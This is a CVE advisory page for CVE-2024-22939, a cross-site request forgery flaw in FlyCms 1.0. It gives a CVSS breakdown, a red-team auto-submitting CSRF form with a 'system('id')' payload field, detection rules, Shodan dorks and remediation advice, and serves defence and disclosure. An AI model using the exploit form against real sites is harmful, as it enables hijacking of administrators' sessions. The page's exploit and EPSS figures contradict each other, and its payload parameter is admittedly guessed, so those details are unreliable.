☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-22939

CVE-2024-22939 Cross-Site Request Forgery in Flycms
📅 PUBLISHED: 2024-02-01 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.66%
👁️
1.66% probability
41.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-22939 is a Cross-Site Request Forgery (CSRF) vulnerability identified in FlyCms v.1.0. The flaw resides in the /system/article/category_edit component, allowing a remote attacker to craft malicious requests that, when executed by an authenticated administrator, can lead to arbitrary code execution. The vulnerability has a CVSS score of 0.0 (unscored) but based on the impact (arbitrary code execution via CSRF), the effective severity is Critical. No official patch has been released by the vendor, and no public exploit code or Nuclei template is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

FlyCms is a PHP-based content management system. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Supply chain risk is limited to the direct use of the FlyCms software.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, a reasonable assessment based on the vulnerability characteristics is:

  • Attack Vector (AV): Network (N) – the attacker can trigger the request remotely.
  • Attack Complexity (AC): Low (L) – no special conditions required.
  • Privileges Required (PR): None (N) – the attacker does not need authentication, but the victim must be authenticated.
  • User Interaction (UI): Required (R) – the victim must click a link or visit a malicious page.
  • Scope (S): Unchanged (U) – the vulnerable component and the attacker's target are the same.
  • Confidentiality (C): High (H) – arbitrary code execution can lead to data exfiltration.
  • Integrity (I): High (H) – code execution can modify system files.
  • Availability (A): High (H) – code execution can disrupt services.

Effective CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Effective Score: 8.8 (High)

Threat Level: High – due to the potential for full system compromise via a single CSRF attack.

Deep Dive & Mechanics

The vulnerability is a classic Cross-Site Request Forgery (CSRF) in the system/article/category_edit endpoint of FlyCms v.1.0. CSRF attacks exploit the trust a web application has in a user's browser. When an authenticated administrator visits a malicious page, the attacker's crafted request is automatically sent to the vulnerable endpoint, including the admin's session cookies.

The category_edit component likely handles category creation or modification without implementing anti-CSRF tokens (e.g., nonces). An attacker can forge a POST request to /system/article/category_edit with arbitrary parameters, leading to unintended actions such as creating a new admin user, modifying site configuration, or executing arbitrary PHP code if the endpoint allows file uploads or command injection.

The attack flow:

  1. Attacker crafts a malicious HTML page with a form that auto-submits to the vulnerable endpoint.
  2. Attacker hosts the page or embeds it in a phishing email.
  3. Victim (authenticated admin) visits the page.
  4. The form submits, carrying the admin's session cookies.
  5. The server processes the request, executing the attacker's payload.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire category_edit functionality. A patched version would include:

  • Vulnerable (FlyCms v.1.0):

    // No CSRF token check
    if ($_POST['submit']) {
        $category_name = $_POST['name'];
        // Process category update
    }
    
  • Patched (hypothetical):

    session_start();
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    if ($_POST['submit']) {
        $category_name = $_POST['name'];
        // Process category update
    }
    

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of FlyCms v.1.0 with an authenticated admin session.
  • Attacker-controlled web server or ability to host a malicious page.

Exploit Steps:

  1. Create a malicious HTML file (csrf_exploit.html):
    <html>
    <body>
    <form action="http://target-flycms/system/article/category_edit" method="POST">
        <input type="hidden" name="name" value="malicious_category" />
        <input type="hidden" name="action" value="add" />
        <!-- Additional payload fields for code execution -->
        <input type="hidden" name="php_code" value="system('id');" />
        <input type="submit" value="Submit" />
    </form>
    <script>document.forms[0].submit();</script>
    </body>
    </html>
    
  2. Host the file on an attacker-controlled server.
  3. Send the link to the victim (authenticated admin) via phishing email or social engineering.
  4. Once the victim visits the page, the form auto-submits, executing the attacker's payload.

Note: The exact payload depends on the endpoint's functionality. If the endpoint allows arbitrary PHP execution, the attacker can achieve RCE.

Blue Team

Detection:

  • Monitor for unexpected POST requests to /system/article/category_edit from external referrers.
  • Look for anomalies in category creation/modification logs.
  • Deploy Web Application Firewall (WAF) rules to block requests without valid CSRF tokens.

Honeypot:

  • Set up a decoy FlyCms instance and monitor for CSRF attempts.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /system/article/category_edit with unusual parameters (e.g., php_code, cmd).
    • Referrer headers pointing to external domains.
  • File System:
    • Unexpected PHP files in the web root (e.g., shell.php).
    • Modified category database entries.
  • Logs:
    • Web server logs showing POST requests to the vulnerable endpoint from suspicious referrers.
    • Application logs showing category creation without a valid CSRF token.

Detection Engineering

YARA Rule

rule CVE_2024_22939_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against FlyCms category_edit endpoint"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22939"
    strings:
        $csrf_form = "action=\"http://" ascii wide nocase
        $csrf_input = "name=\"php_code\"" ascii wide nocase
        $csrf_endpoint = "/system/article/category_edit" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-22939 CSRF Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to FlyCms category_edit endpoint with suspicious parameters
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/system/article/category_edit"
    keywords:
        - "php_code"
        - "cmd"
        - "system("
    condition: selection and keywords
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-22939 CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/system/article/category_edit"; http_uri; content:"php_code"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint if not required: Block access to /system/article/category_edit via web server configuration.
  2. Implement CSRF protection manually: Add anti-CSRF tokens (nonces) to all forms and validate them server-side.
  3. Upgrade to a patched version if/when available. Currently, no patch exists.

Long-term:

  • Replace FlyCms with a maintained CMS that follows security best practices.
  • Conduct a full security audit of the application.

Workaround:

  • Use a Web Application Firewall (WAF) to block requests to the vulnerable endpoint without a valid CSRF token.
  • Enforce same-origin policy via SameSite cookies (set to Lax or Strict).

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"FlyCms"
http.html:"FlyCms"
http.favicon.hash:flycms

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-22939/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.